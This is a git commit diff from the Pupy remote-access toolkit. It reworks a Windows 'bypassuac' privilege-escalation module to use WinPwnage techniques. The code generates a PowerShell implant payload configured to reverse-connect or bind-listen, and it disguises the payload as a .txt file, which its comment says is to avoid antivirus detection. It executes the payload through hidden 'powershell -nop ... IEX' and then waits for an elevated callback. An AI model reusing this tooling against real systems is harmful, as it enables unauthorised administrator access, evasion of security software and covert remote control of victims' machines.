new ways to bypassuac using WinPwnage from rootm0s

This commit is contained in:
AlessandroZ 2018-11-09 16:01:38 +01:00
parent 1a08b37ad1
commit eea088ef6b
3 changed files with 106 additions and 130 deletions

3
.gitmodules vendored
View File

@ -43,3 +43,6 @@
[submodule "pupy/external/pyopus"]
path = pupy/external/pyopus
url = https://github.com/alxchk/pyopus
[submodule "pupy/external/WinPwnage"]
path = pupy/external/WinPwnage
url = https://github.com/rootm0s/WinPwnage

View File

@ -1,6 +1,6 @@
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):
# Bypassuac techniques use WinPwnage tool
# https://github.com/rootm0s/WinPwnage
import os
@ -11,147 +11,131 @@ import pupygen
import random
import string
__class_name__="BypassUAC"
__class_name__ = "BypassUAC"
@config(compat="windows", category="privesc")
class BypassUAC(PupyModule):
"""
Try to bypass UAC
By default, each bypass UAC method uses a ps1 script which is executed on the target.
By default and automatically:
- eventvwr is used on Windows 7, 8 and some Win10 build (>= 7600)
- fodhelper is used on Win10 build >= 10240
- tokenimp is used on other cases
If you don't want a method uses a ps1 script, you can choose an exe file: The file is uploaded and it is used by the bypass method.
If the parent launcher is using a reverse connection (e.g. connect or auto_proxy), the child launcher (created by the bypass UAC method) will use the same configuration:
The child launcher will connect to you.
If the parent launcher is using a bind connection, the child launcher (created by the bypass UAC method) will use the same configuration:
The child launcher will listen on a specific port on the target and it will wait a connection. In this case, this module will ask you a bind port.
"""
dependencies=['pupwinutils.bypassuac_token_imp','pupwinutils.bypassuac_registry', 'pupwinutils.security']
dependencies = ['winpwnage.core', 'winpwnage.functions.uac']
@classmethod
def init_argparse(cls):
cls.arg_parser = PupyArgumentParser(prog="bypassuac", description=cls.__doc__)
cls.arg_parser.add_argument('-m', dest='method', choices=["eventvwr", "fodhelper", "tokenimp", ], default=None, help="By default, a method will be found for you depending on your build version")
cls.arg_parser.add_argument('-l', dest='scan', action='store_true', default=False, help="List all possible "
"techniques for this "
"host")
cls.arg_parser.add_argument('-e', dest='exe', default=None, help="Custom exe to execute as admin")
cls.arg_parser.add_argument('-r', dest='restart', action='store_true', default=False, help="Restart current executable as admin")
cls.arg_parser.add_argument('-r', dest='restart', action='store_true', default=False, help="Restart current "
"executable as "
"admin")
cls.arg_parser.add_argument('-m', dest='method', help="Should be an ID, get the list "
"scanning which methods are possible (-l)")
def print_result(self, result):
for tag, message in result:
if tag == 't':
self.log(message)
elif tag == 'ok':
self.success(message)
elif tag == 'error':
self.error(message)
elif tag == 'info':
self.info(message)
elif tag == 'warning':
self.warning(message)
def run(self, args):
if not args.scan and not args.method:
self.error('Get the list of possible methods (-l) and bypass uac using -m <id>')
return
#True if ps1 script will be used in bind mode. If reverse connection with ps1 then False
isBindLauncherForPs1 = False
#Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False
listeningAddressPortForBindPs1 = None
#Usefull information for bind mode connection (ps1 script)
launcherType, addressPort = self.client.desc['launcher'], self.client.desc['address']
#Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
if launcherType == "bind":
self.info('The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(addressPort))
isBindLauncherForPs1 = True
else:
self.info('The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)')
isBindLauncherForPs1 = False
#Parsing bypassuac methods
method = args.method
if not method:
windows_info = self.client.conn.modules["pupwinutils.security"].get_windows_version()
if windows_info:
# check if your host is previous Vista
if float(str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0:
self.success('You are lucky, this Windows version does not implement UAC.')
return
if args.scan:
scanner = self.client.remote('winpwnage.core.scanner', 'scanner', False)
result = scanner(uac=True, persist=False).start()
self.print_result(result)
return
# Windows 10
if windows_info['build_number'] >= 10240:
method = 'fodhelper'
# Windows 7, 8 and some Win10 build
elif windows_info['build_number'] >= 7600:
method = 'eventvwr'
else:
method = 'tokenimp'
elif not windows_info:
self.error('No bypassuac method has been found automatically, you should do it manually using the "-m" option')
return
self.success('The following bypass uac method has been selected automatically: {0}'.format(method))
# check if a UAC bypass can be done
# Check if a UAC bypass can be done
if not self.client.conn.modules["pupwinutils.security"].can_get_admin_access():
self.error('Your are not on the local administrator group.')
return
# TO CHANGE:
# A way should be found to automatically obfuscate a dll (using custom dll stored on config file)
if args.method in ('11', '12', '13', '14'):
self.warning('This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts')
return
# Weird error, root cause not found yet
if args.method in '07':
self.warning('This technique does not work with custom exe, only work with cmd.exe')
return
# Check if it is a bind shell
is_bind_launcher = False
launcher_type, address_port = self.client.desc['launcher'], self.client.desc['address']
# Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
if launcher_type == "bind":
self.info(
'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(
address_port))
is_bind_launcher = True
# ------------------ Prepare the payload ------------------
ros = self.client.conn.modules['os']
rtempfile = self.client.conn.modules['tempfile']
tempdir = rtempfile.gettempdir()
ros = self.client.conn.modules['os']
tempdir = self.client.conn.modules['tempfile'].gettempdir()
random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])
local_file = ''
remotefile = ''
local_file = ''
remotefile = ''
# use powershell
if not args.exe and not args.restart:
clientConfToUse = None
self.info('Using powershell payload')
if isBindLauncherForPs1:
self.info("BIND launcher is on the target. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port")
if is_bind_launcher:
self.info("BIND launcher is on the target. So a BIND ps1 will be used in child launcher. "
"This ps1 will listen on your given port")
self.info("Be careful, you have to choose a port which is not used on the target!")
listeningPort = -1
while listeningPort==-1:
listening_port = -1
while listening_port == -1:
try:
listeningPort = int(input("[?] Give me the listening port to use on the target: "))
listening_port = int(input("[?] Give me the listening port to use on the target: "))
except Exception as e:
self.warning("You have to give me a valid port. Try again ({})".format(e))
listeningAddress = addressPort.split(':')[0]
listeningAddressPortForBindPs1 = "{0}:{1}".format(listeningAddress, listeningPort)
self.info("The ps1 script used for bypassing UAC will be configured for listening on {0} on the target".format(listeningAddressPortForBindPs1))
bindConf = self.client.get_conf()
#Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target
bindConf['launcher_args'][bindConf['launcher_args'].index("--port")+1] = str(listeningPort)
clientConfToUse = bindConf
listening_address = address_port.split(':')[0]
bind_address_and_port = "{0}:{1}".format(listening_address, listening_port)
self.info("The ps1 script used for bypassing UAC will be configured for listening on {0} on the target".format(bind_address_and_port))
bind_conf = self.client.get_conf()
# Modify the listening port on the conf. If it is not modified,
# the ps1 script will listen on the same port as the initial pupy launcher on the target
bind_conf['launcher_args'][bind_conf['launcher_args'].index("--port")+1] = str(listening_port)
client_conf = bind_conf
else:
self.info("Reverse connection mode: Configuring ps1 client with the same configuration as the (parent) launcher on the target")
clientConfToUse = self.client.get_conf()
if method == "eventvwr" or method == "fodhelper":
#Specific case for eventvwr method and fodhelper
if '64' in self.client.desc['proc_arch']:
local_file = pupygen.generate_ps1(self.log, clientConfToUse, x64=True)
self.info("The process architecture on the target is x64: A x64 dll will be used...")
else:
local_file = pupygen.generate_ps1(self.log, clientConfToUse, x86=True)
self.info("The process architecture on the target is x86: A x86 dll will be used...")
self.info("Reverse connection mode: Configuring ps1 client with the same configuration as "
"the (parent) launcher on the target")
client_conf = self.client.get_conf()
if '64' in self.client.desc['proc_arch']:
local_file = pupygen.generate_ps1(self.log, client_conf, x64=True)
else:
if '64' in self.client.desc['os_arch']:
local_file = pupygen.generate_ps1(self.log, clientConfToUse, x64=True)
self.info("The architecture of the target (OS) is x64: A x64 dll will be used...")
else:
local_file = pupygen.generate_ps1(self.log, clientConfToUse, x86=True)
self.info("The architecture of the target (OS) is x86: A x86 dll will be used...")
local_file = pupygen.generate_ps1(self.log, client_conf, x86=True)
# change the ps1 to txt file to avoid AV detection
random_name += '.txt'
remotefile = ros.path.join(tempdir, random_name)
remotefile = ros.path.join(tempdir, "{random_name}.{ext}".format(random_name=random_name, ext="txt"))
cmd = ur'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile
cmd = u'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -w hidden ' \
u'-noni -nop -c "cat %s | Out-String | IEX"' % remotefile
# use a custom exe to execute as admin
elif args.exe:
self.info('Using custom executable')
if os.path.exists(args.exe):
local_file = args.exe
random_name += '.exe'
remotefile = ros.path.join(tempdir, random_name)
cmd = remotefile
param = u''
local_file = args.exe
cmd = ros.path.join(tempdir, "{random_name}.{ext}".format(random_name=random_name, ext="exe"))
else:
self.error('Executable file not found: %s' % args.exe)
return
@ -165,8 +149,7 @@ class BypassUAC(PupyModule):
self.warning('It is not recommended to restart it')
return
cmd = self.client.desc['exec_path']
param = u''
cmd = self.client.desc['exec_path']
# upload payload (ps1 or custom exe)
if not args.restart:
@ -175,32 +158,21 @@ class BypassUAC(PupyModule):
# ------------------ Ready to launch the bypassuac ------------------
self.success("Trying to bypass UAC using the '%s' method" % method)
# Works from: Windows 7 (7600)
# Fixed in: Windows 10 RS2 (15031)
if method == "eventvwr":
self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(cmd, param)
# Works from: Windows 10 TH1 (10240)
# Unfixed
elif method == "fodhelper":
self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(cmd, param)
# Works from: Windows 7 (7600)
# Unfixed
elif method == "tokenimp":
param = param.replace('-w hidden ', '')
self.client.conn.modules["pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(cmd, param)
if isBindLauncherForPs1:
self.success("You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell".format(listeningAddressPortForBindPs1))
self.info("Bypass uac could take few seconds, be patient...")
bypass_uac = self.client.remote('winpwnage.core.scanner', 'function', False)
result = bypass_uac(uac=True, persist=False).run(id=args.method, payload=cmd)
if not result:
self.error('Nothing done, check if the id is on the list')
else:
self.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...")
self.print_result(result)
# Powershell could be longer to execute
if not args.exe and not args.restart:
self.info("Waiting for a connection (take few seconds, 1 min max)...")
# TO DO (remove ps1 file)
# ros.remove(remotefile) # not work if removed too fast
# remove generated ps1 file
# Remove generated ps1 file
if not args.exe and not args.restart:
os.remove(local_file)

View File

@ -0,0 +1 @@
../../../external/WinPwnage/winpwnage